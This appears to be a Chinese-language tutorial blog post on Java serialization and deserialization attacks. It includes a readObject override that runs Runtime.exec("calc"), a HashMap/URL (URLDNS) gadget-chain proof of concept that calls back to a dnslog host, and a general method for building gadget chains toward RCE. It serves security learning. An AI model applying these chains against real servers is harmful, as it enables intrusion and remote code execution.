序列化与反序列化
序列化就是把一个Java对象变成字节,序列化的的意义就是传输字节序列,方便应用场景,网络上的传输。
反序列化就是把字节转化为对象,也就是转化为原来的的字符串等等。
序列化代码的实现
Persion.java类的代码
package serializable;
import java.io.Serializable;
public class Persion implements Serializable { //这里调用了原生序列化的接口
private String name;
private int age;
public Persion(String name,int age) {
this.name = name;
this.age = age;
}
@Override
public String toString() { //重写toString方法,toString的作用是返回一个描述对象的字符
return "Persion{" +
"name='" + name + '\'' +
", age=" + age +
'}';
}
}
SerializationTest.java类的代码
package serializable;
import java.io.FileOutputStream;
import java.io.IOError;
import java.io.IOException;
import java.io.ObjectOutputStream;
public class SerializationTest {
//序列化obj对象,抛出指定类型的异常,其中serialize的方法名是自定义的
public static void serialize(Object obj) throws IOError, IOException {
//这里新建了一个文件输出流指定序列化的文件
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
//写入对象为obj
oos.writeObject(obj);
}
//main方法主动抛出异常类型,方法上抛出s
public static void main(String[] args) throws Exception{
//新建Persion对象
Persion persion = new Persion("cike",11);
//最后输出对象
System.out.println(persion);
serialize(persion); //运行前面的serialize方法,之后就会生成序列化ser.bin文件
}
}
运行之后,可以看见序列化成功,且序列化生成了一个ser.bin文件
如果Persion类不调用原生序列化的接口,它是不可以进行序列化的
再次运行Serialization类,可以看见报错了,所以不能不调用序列化的接口
Serializable接口的特点
主要有两个方面:
- 静态成员变量不能被序列化:因为序列化针对的是对象属性的,而静态成员变量属于类的。
- transient是Java语言的关键字,用来表示一个成员变量不是该对象序列化的一部分。
反序列化代码的实现
UnSerializeTest.java类的代码
package serializable; //包机制
import java.io.*; //导入io流包模块
public class UnSerializeTest {
//创建一个静态属性的Object对象类型的方法,该方法叫做Unserialize,其中方法的参数名是Filename
public static Object unserialize(String Filename) throws IOError, ClassNotFoundException, IOException {
//创建一个输入文件流的对象,其中输入的文件名为Filename参数,最后定义的对象名变量为oij
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
//ois对象调用读取对象的方法,定义变量名为obj
Object obj = ois.readObject();
//最后放回obj值;
return obj;
}
//main主方法名,主动该抛出方法上的一个异常类型Exception
public static void main(String[] args) throws Exception {
//其中这里(Persion)为强制类型转换,因为前面的readObject()方法返回的类型是Object,我们
//要让Java知道我们具体的序列化对象类型是谁?所以这里需要将Object类转化为Persion类
//最后反序列化的文件ser.bin后定义一个变量persion
Persion persion = (Persion) unserialize("ser.bin");
//最后输出反序列化的变量内容 persion
System.out.println(persion);
}
}
运行代码,可以看见反序列化读取成功
Java反序列化产生的安全问题
只要服务端反序列化数据,这个时候客户端传递类的readObject中代码会自动执行,给予攻击者在服务器上运行代码的能力。
可能出现的漏洞的形式
一般情况下,主要有以下:
- 入口类的readObject直接调用危险方法
- 入口类参数中包含可控类,该类有危险方法,readObject时调用。
- 入口类参数中包含可控类,该类又调用其他危险方法的类,readObject时调用。比如类型定义为Object,调用equals/hashcode/toString 重点:相同类型、同名函数
- 构造函数/静态代码块等类加载时隐式执行。
- 入口类 source、HasMap(重写readObject 参数类型宽泛 最好jdk自带)
案例演示
入口类的readObject直接调用危险方法
我们在Persion.java类添加这一段代码
private void readObject(ObjectInputStream ois) throws IOException,ClassNotFoundException{
ois.defaultReadObject();
Runtime.getRuntime().exec("calc");
}
可以看见当ois默认反序列化的时候,将会默认执行后面的命令,calc
通过反序列化,可以看见调用计算机成功
不过这种简单的利用,通常不可能存在
构造反序列化的攻击路线
寻找入口类
首先攻击前提是要找到继承 Serializable接口的入口类
这里以HashMap为例子
里面的类最好是Object类型,因为它包什么都可以
寻找重写的readObject中的常用函数
找到重写的readObject方法,然后往下分析
可以看见这个putVal调用了hash
Ctrl+鼠标右键hash点击来到这里,可以分析代码
当key为空的时候,调用hashCode()
我们继续跟进hashCode()方法,可以发现hashCode()方法输入Object类
hashCode()在Object类中,可以满足我们调用常见的函数。
代码构造
因为都是继承在序列化接口上的,也就是说比如我们正常利用这个攻击路线是属于直接调用。
这里举个例子,因为URL类属于原生序列化接口
而且,还是用了公共方法hashCode(),在Object类中,刚好和前面的HashMap类一样,都调用了hashCode
可以看见如果hashCode不为-1,就会调用下面的 handler.hashCode,这里我们跟进一下,这里有一个域名解析,会给指定的url地址发送DNS请求
我们知道了,HashMap与URL类的相同的方法是hashCode(),我们需要通过这个来实现getHostAddress()的方法利用
HashMap->readObject()->hash()->hashCode()
URL->hashCode()->getHostAddress()
import java.io.FileOutputStream;
import java.io.IOError;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.net.URL;
import java.util.HashMap;
public class SerializationTest {
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static void main(String[] args) throws Exception{
HashMap<URL,Integer> hashmap= new HashMap<URL,Integer>();
URL url = new URL("http://your.dnslog.cn");
hashmap.put(url,2);
//serialize(hashmap);
}
}
这行代码的意思是,HashMap创建了应该Url类型的键名,还有Intger整数类型的键值的实例化对象,变量为hashmap
HashMap<URL,Integer> hashmap= new HashMap<URL,Integer>();
之后给URL键名实例化对象,一个dnslog的地址
URL url = new URL("http://your.dnslog.cn");
至于为什么这里使用 put方法是因为
hashmap.put(url,2); //而2是因为Interger是整数类型
这里需要键名和键值,后面还调用了我们所需要的hash方法
而hash方法,又会调用hashcdoe方法
也就是说HashMap类中的URL类型使用hashcode
所以最后dnslog接收到了请求
不过这个是我们通过序列化接受到的dns请求,在实际攻击过程中,我们应该是需要反序列化的时候接受dns请求。
这个是因为hashCode默认的值为-1
通过代码我们可以发现,如果hashCode不为-1,就会直接返回hashCode。而我们在 hashmap.put()方法的时候,hashCode已经是-1了,已经开始执行了,所以发送了dns请求。
所以我们应该需要在hashmap.put()方法执行后,再将hashCode()改为-1,最后序列化打包成文件,给服务器反序列化执行的时候,我们就会接收到来自服务器的dns请求了,整个攻击过程攻击成功,这将涉及到Java反射的技巧,Java反射会让代码更加灵活,具有动态性。
具体操作过程,可以参考我这篇:
https://blog.csdn.net/weixin_53912233/article/details/137107190
攻击思路
-
要实现反序列化的攻击,首先第一点,我们要找到一个入口类,比如souce,然后里面的类最好是Object类型,因为它包什么都可以
-
然后之后它可以重写readObject方法,重写之后再readObject里面,再调用一个常见的函数,根据不同的类和不同的反应,进一步调用链,最好是调用常见的函数或者JDK自带
-
调用链 gadget chain 相同名称 相同类型(继承了父类或者相同的接口)执行类sink (rce ssrff 写文件等等)最后要执行攻击的地方